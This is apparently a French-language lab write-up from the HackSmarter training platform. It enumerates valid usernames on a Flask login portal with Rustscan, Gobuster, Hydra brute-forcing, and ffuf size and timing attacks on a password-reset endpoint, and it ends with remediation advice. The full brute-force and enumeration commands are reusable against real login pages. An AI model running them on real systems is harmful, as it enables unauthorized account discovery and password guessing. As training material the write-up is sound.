Lab Hunter : User Enumeration via Timing Attack
Évaluation black-box d'un portail de connexion externe : énumération d'utilisateurs via analyse de taille de réponse et timing attack sur l'endpoint /reset, permettant d'identifier un username valide depuis une liste OSINT de 301 candidats.
Contexte & Objectifs
| Champ | Détail |
|---|---|
| Plateforme | HackSmarter |
| Lien | Accéder au Lab |
| Cible | 10.1.196.204 |
| Type | Black-box assessment |
| Objectif | Identifier un username valide sur le portail |
| Asset fourni | usernames.txt - 301 candidats OSINT |
| Difficulté | Facile |
Scénario : En tant qu'opérateur de la Hack Smarter Red Team, nous menons une évaluation black-box sur le portail de connexion externe d'un client. Les analystes OSINT ont constitué une liste de 301 usernames potentiels. La mission : identifier lequel est valide sur l'application.
Kill chain :
Exploration asset (usernames.txt)
│
▼
Scan Rustscan → SSH + HTTP (Werkzeug/Flask)
│
▼
Content Discovery (Gobuster) → /login + /reset
│
▼
Analyse requêtes (Burp Suite) → structure payload POST
│
▼
Hydra brute-force → non viable (103 000h estimées)
│
▼
FFuF /login → filtre sur taille de réponse
│
▼
FFuF /reset → timing attack (> 750ms)
│
▼
Username valide identifié
1. Exploration de l'Asset
On commence par examiner la liste fournie par les analystes OSINT.
cat usernames.txt

Le fichier contient 301 usernames potentiels compilés depuis des sources OSINT (LinkedIn, GitHub, fuites de données, conventions de nommage d'entreprise). C'est notre seul point de départ - aucun mot de passe, aucun accès initial.
2. Reconnaissance - Scan Rustscan
rustscan -a 10.1.196.204 -- -A -v
Output complet :
Open 10.1.196.204:22
Open 10.1.196.204:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 27:50:e6:2e:73:4b:48:f6:46:59:c9:05:47:c7:32:59 (ECDSA)
|_ 256 98:f7:52:3d:ff:6d:73:98:a5:cb:17:85:17:8f:79:98 (ED25519)
80/tcp open http syn-ack ttl 62 Werkzeug httpd 3.1.4 (Python 3.10.12)
|_http-title: HackSmarter Portal - Login
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-server-header: Werkzeug/3.1.4 Python/3.10.12
OS details: Linux 4.15
Analyse :
Deux ports ouverts. Ce qui est notable c'est le serveur HTTP : Werkzeug 3.1.4 / Python 3.10.12. Werkzeug est le serveur de développement de Flask - c'est une application web custom en Python, pas un CMS connu. Cela signifie :
- Pas de vulnérabilités de CMS à exploiter (pas de Joomla, WordPress, etc.)
- La logique d'authentification est maison - potentiellement des comportements non standardisés exploitables
- Les messages d'erreur et les temps de réponse peuvent varier selon la logique interne
SSH est présent mais sans credentials, il n'est pas notre vecteur immédiat.

3. Content Discovery
Gobuster - Énumération de répertoires
gobuster dir -u http://10.1.196.204 -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
Output :
===============================================================
Gobuster v3.8.2
===============================================================
[+] Url: http://10.1.196.204
[+] Wordlist: .../Discovery/Web-Content/big.txt
===============================================================
login (Status: 405) [Size: 153]
reset (Status: 200) [Size: 1927]
===============================================================

Analyse des deux endpoints :
| Endpoint | Status | Signification |
|---|---|---|
/login | 405 | Method Not Allowed - seul POST est accepté, pas GET. L'endpoint existe et attend des credentials. |
/reset | 200 | Formulaire de réinitialisation de mot de passe accessible en GET. |
Le status 405 sur /login nous confirme que c'est un formulaire POST only - Gobuster a tenté un GET, le serveur a refusé avec 405. L'endpoint est fonctionnel.
Le /reset en 200 est particulièrement intéressant : un endpoint de réinitialisation de mot de passe implique une logique côté serveur (lookup en base, génération de token, envoi d'email) - c'est un candidat idéal pour une timing attack.
4. Analyse des Requêtes (Burp Suite)
Avant d'automatiser, on intercepte une requête manuelle avec Burp Suite pour comprendre la structure exacte du payload.

Structure du payload POST sur /login :
POST /login HTTP/1.1
Host: 10.1.196.204
Content-Type: application/x-www-form-urlencoded
username=test&password=test
Observation clé : Lorsqu'une requête échoue (mauvais credentials), la page est rechargée sans message d'erreur explicite. Il n'y a pas de message "Invalid username" ou "User not found" - l'application semble volontairement évasive sur ce point.
C'est une bonne pratique de sécurité... mais pas suffisante si le comportement interne diffère selon que l'username existe ou non. On va exploiter cette différence.
Pour identifier les techniques d'énumération applicables, nous nous appuyons sur la méthodologie documentée par Vaadata : User Enumeration on Web Applications
Trois vecteurs d'attaque identifiés, par ordre de priorité :
- Hydra brute-force - tenter username + password simultanément
- FFuF sur
/login- chercher une différence de taille de réponse selon l'username - FFuF sur
/reset- chercher une différence de temps de réponse (timing attack)
5. Attaque 1 - Hydra Brute-Force
hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt 10.1.196.204 \
http-post-form "/login:username=^USER^&password=^PASS^:F=Sign In"
Output :
[DATA] max 16 tasks per 1 server, overall 16 tasks
[DATA] 4 317 664 099 login tries (l:301 / p:14 344 399)
[STATUS] 697.00 tries/min, 697 tries in 00:01h, 4 317 663 402 to do in 103 243:60h, 16 active
[STATUS] 752.00 tries/min, 2256 tries in 00:03h, 4 317 661 843 to do in 95 692:52h, 16 active
^C Session file ./hydra.restore was written.
Analyse - pourquoi c'est non viable :
301 usernames × 14 344 399 mots de passe rockyou = 4 317 664 099 combinaisons
À 752 tentatives/min → 5 743 631 min → ~103 000 heures → ~11,7 ans
Ce n'est pas un échec de technique - c'est une limite mathématique. Hydra avec rockyou.txt sur 301 usernames n'est pas viable dans un contexte opérationnel. On abandonne cette voie et on passe à l'énumération d'utilisateurs d'abord - une fois un username valide identifié, un brute-force ciblé sur un seul compte devient envisageable.
6. Attaque 2 - FFuF sur /login (Différence de taille)
Hypothèse : Même si l'application ne retourne pas de message d'erreur différent visuellement, la taille de la réponse HTML pourrait différer légèrement si l'username est valide. Par exemple, un champ de session pré-rempli, un message d'erreur interne caché, ou une redirection différente.
Établir la taille de référence : Une requête avec un username aléatoire retourne 1993 octets. On filtre tout ce qui a cette taille - ce qui reste sera potentiellement différent.
ffuf -w usernames.txt \
-u http://10.1.196.204/login \
-X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=FUZZ&password=asdf' \
-fs 1993

Résultat : Aucune réponse de taille différente - tous les usernames retournent exactement 1993 octets, valides ou non. L'application est cohérente en taille de réponse sur /login. Cette technique n'est pas exploitable ici.
[!NOTE] C'est une bonne pratique de sécurité : uniformiser la taille des réponses d'erreur empêche l'énumération par différentiel de contenu. Mais il reste le vecteur temps...
7. Attaque 3 - FFuF sur /reset (Timing Attack)
Hypothèse : Sur un endpoint de réinitialisation de mot de passe, le serveur effectue différentes actions selon que l'username existe ou non :
Username INVALIDE :
Requête → lookup BDD → non trouvé → réponse immédiate
Temps : ~100-200ms
Username VALIDE :
Requête → lookup BDD → trouvé → génération token → envoi email → réponse
Temps : ~750ms ou plus (dépend du serveur mail)
Cette différence de traitement côté serveur crée une fuite d'information temporelle - même si la réponse HTTP retournée est identique dans les deux cas.
Première passe - sans filtre de temps :
ffuf -w usernames.txt \
-u http://10.1.196.204/reset \
-X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=FUZZ'

On observe les temps de réponse dans les résultats. La majorité des requêtes répondent en moins de 200ms, mais certaines semblent plus lentes.
Deuxième passe - filtre sur le temps de réponse :
On relance en gardant uniquement les réponses dont le temps est supérieur à 750ms (-ft '<750' filtre tout ce qui est inférieur à 750ms, donc on garde ce qui est ≥ 750ms) :
ffuf -w usernames.txt \
-u http://10.1.196.204/reset \
-X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=FUZZ' \
-ft '<750'

Plusieurs noms d'utilisateurs dépassent le seuil de 750ms, mais nous isolons celui qui présente le temps de réponse le plus élevé et le plus constant — c'est notre cible.
[!WARNING] Note sur la fiabilité des timing attacks : Les résultats peuvent varier selon la charge serveur et la latence réseau. Si le réseau est instable, plusieurs faux positifs peuvent apparaître. Il est recommandé de répéter l'attaque 2-3 fois et de ne retenir que les usernames qui apparaissent systématiquement.
8. Synthèse
Ce qui a fonctionné
| Technique | Résultat | Raison |
|---|---|---|
| Hydra brute-force | Non viable | 4,3 milliards de combinaisons = 11,7 ans |
| FFuF /login (taille) | Pas de différence | App uniformise la taille des réponses d'erreur |
| FFuF /reset (timing) | Username trouvé | Délai serveur révèle l'existence du compte |
Prochaine étape
Username identifié → brute-force ciblé sur ce seul compte avec une wordlist adaptée (passwords courants, variations du nom, politique de l'entreprise).
9. Conclusion & Remédiation
Leçon clé
L'application a correctement implémenté l'uniformisation des messages d'erreur et des tailles de réponse - ce qui a rendu la technique par différentiel de contenu inefficace. Mais elle a oublié d'uniformiser les temps de réponse, révélant ainsi quels usernames existent via une timing attack.
C'est l'erreur classique : protéger ce qu'on voit (messages, taille) mais oublier ce qu'on ne voit pas (temps de traitement).
Remédiations
| Vecteur | Problème | Remédiation |
|---|---|---|
Endpoint /reset | Temps de réponse différent selon username | Ajouter un délai artificiel fixe (time.sleep(1)) avant toute réponse, quelle que soit l'issue |
| Politique de réponse | Traitement asynchrone non uniforme | Déléguer l'envoi d'email à une queue asynchrone - la réponse HTTP est immédiate dans tous les cas |
| Rate limiting absent | Aucune limite sur les tentatives /reset | Implémenter un rate limit (ex: 3 requêtes/IP/heure sur /reset) |
| Pas de CAPTCHA | FFuF peut tourner librement | Ajouter un CAPTCHA ou un challenge sur les formulaires sensibles |
[!NOTE] La timing attack sur les endpoints de reset est documentée dans l'OWASP Testing Guide (OTG-IDENT-004 - Testing for Account Enumeration). C'est une vulnérabilité fréquente parce que les développeurs pensent naturellement à uniformiser les messages, pas les temps de traitement.
Writeup rédigé par ZCook
